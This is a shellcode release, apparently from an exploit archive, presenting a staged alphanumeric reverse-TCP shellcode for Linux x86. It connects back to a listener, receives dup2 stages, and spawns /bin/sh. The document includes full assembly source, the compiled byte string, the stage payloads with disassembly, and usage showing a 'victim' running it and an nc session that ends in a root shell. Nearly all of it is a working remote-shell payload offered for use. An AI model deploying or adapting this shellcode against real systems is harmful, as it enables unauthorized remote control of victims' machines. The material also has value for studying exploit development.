########### Reverse TCP Staged Alphanumeric Shellcode Linux x86 Execve /bin/sh ########
            ########### Author: Snir Levi, Applitects #############
                    ## 103 Bytes ##
 
date: 9.2.17
Automatic python shellcode handler (with stage preset send) will be ready soon:
https://github.com/snir-levi/Reverse_TCP_Alphanumeric_Staged_Shellcode_Execve-bin-bash/
 
 
IP -    127.0.0.1
PORT -  4444                        
                         
#### Stage Alphanumeric shellcode: #####
Stage 1:
dup2 stdin syscall:
 
WXW[j?XV[WYPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
 
W   push edi
X   pop eax
W   push edi
[   pop ebx
j?  push 0x3f
X   pop eax
V   push esi
[   pop ebx
W   push edi
Y   pop ecx
P   push eax
X   pop eax
P   push eax
X   pop EAX
 
Stage 2:
dup2 stdout syscall:
 
WXW[j?XV[WYAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPX
 
W   push edi
X   pop eax
W   push edi
[   pop ebx
j?      push 0x3f
X       pop eax
V       push esi
[       pop ebx
W       push edi
Y       pop ecx
A   inc ecx (ecx =1)
P       push eax
X       pop eax
P       push eax
 
Stage 3:
dup2 stderr syscall:
 
WXW[j?XV[WYAPXAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
 
W   push edi
X   pop eax
W   push edi
[   pop ebx
j?      push 0x3f
X       pop eax
V       push esi
[       pop ebx
W       push edi
Y       pop ecx
A*2     inc ecx (ecx = 2)
P       push eax
X       pop eax
A       inc ecx
 
Stage 3:
execve /bin/sh:
 
j0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHWYWZWh//shh/binT[
 
j0      push 0x30
X       pop eax
H*32        dec eax //eax = 0x0b
W       push edi
Y       pop ecx
W       push edi
Z       pop edx
W       push edi // null terminator
h//sh       push 0x68732f2f //sh
h/bin       push 0x6e69622f /bin
T       push esp
[       pop ebx
 
Usage: Victim Executes the shellcode, and opens tcp connection 
 
Stage:
        After Connection is established, send the 4 stages ***separately***
         
        nc -lvp 4444
        connect to [127.0.0.1] from localhost [127.0.0.1] (port)
        WXW[j?XV[WYPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
        WXW[j?XV[WYAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPX
        WXW[j?XV[WYAPXAPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXPXP
        j0XHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHWYWZWh//shh/binT[
         
        whoami
        root
        id
        uid=0(root) gid=0(root) groups=0(root)
 
         
global _start
 
 
_start:
 
        ; sock = socket(AF_INET, SOCK_STREAM, 0)
        ; AF_INET = 2
        ; SOCK_STREAM = 1
        ; syscall number 102 - socketcall
    ; socket = 0x01
 
    xor eax,eax
    xor esi,esi
    push eax
    pop edi
    push eax
    mov al, 0x66
    push byte 0x1
    pop ebx
    push byte ebx
    push byte 0x2
    mov ecx, esp
    int 0x80
 
    xchg esi, eax;  save sock result
 
    ; server.sin_family = AF_INET
        ; server.sin_port = htons(PORT)
        ; server.sin_addr.s_addr = inet_addr("127.0.0.1")
 
    push byte 0x1
    pop edx
    shl edx, 24
    mov dl, 0x7f    ;edx = 127.0.0.1 (hex)
    push edx
    push word 0x5c11 ;port 4444
    push word 0x02
 
        ; connect(sock, (struct sockaddr *)&server, sockaddr_len)
 
    mov al, 0x66
    mov bl, 0x3
    mov ecx, esp
    push byte 0x10
    push ecx
    push esi
    mov ecx ,esp
    int 0x80
 
 
stageAddress:       ;saves stage address to edx
        mov edx, [esp]
    sub bl,3
    jnz stage
 
call near stageAddress 
 
    ;recv(int sockfd, void *buf, size_t len, int flags);
 
stage:
    mov al, 0x66
    mov bl, 10
    push edi
    push word 100   ; buffer size
    push edi
    push esi    ; socketfd
    mov [esp+4],esp ; sets esp as recv buffer
    mov ecx,esp
    int 0x80
        mov al, 0xcd
        mov ah, 0x80 ; eax = int 0x80
        mov bl, 0xFF
        mov bh, 0xE2 ; ebx = jmp edx
        mov [esp+57],al
        mov [esp+58],ah
        mov [esp+59], ebx ;the end of the buffer contains the syscall command int 0x80 and jmp back to stage
    jmp esp
 
 
 
unsigned char[] = "\x31\xc0\x31\xf6\x50\x5f\x50\xb0\x66\x6a\x01\x5b\x53\x6a
\x02\x89\xe1\xcd\x80\x96\x6a\x01\x5a\xc1\xe2\x18\xb2\x7f\x52
\x66\x68\x11\x5c\x66\x6a\x02\xb0\x66\xb3\x03\x89\xe1\x6a\x10\x51\x56\x89\xe1
\xcd\x80\x8b\x14\x24\x80\xeb\x03\x75\x05\xe8\xf3\xff\xff\xff
\xb0\x66\xb3\x0a\x57\x66\x6a\x64\x57\x56\x89\x64\x24\x04\x89\xe1\xcd\x80\xb0
\xcd\xb4\x80\xb3\xff\xb7\xe2\x88\x44\x24\x39\x88\x64\x24\x3a
\x89\x5c\x24\x3b\xff\xe4"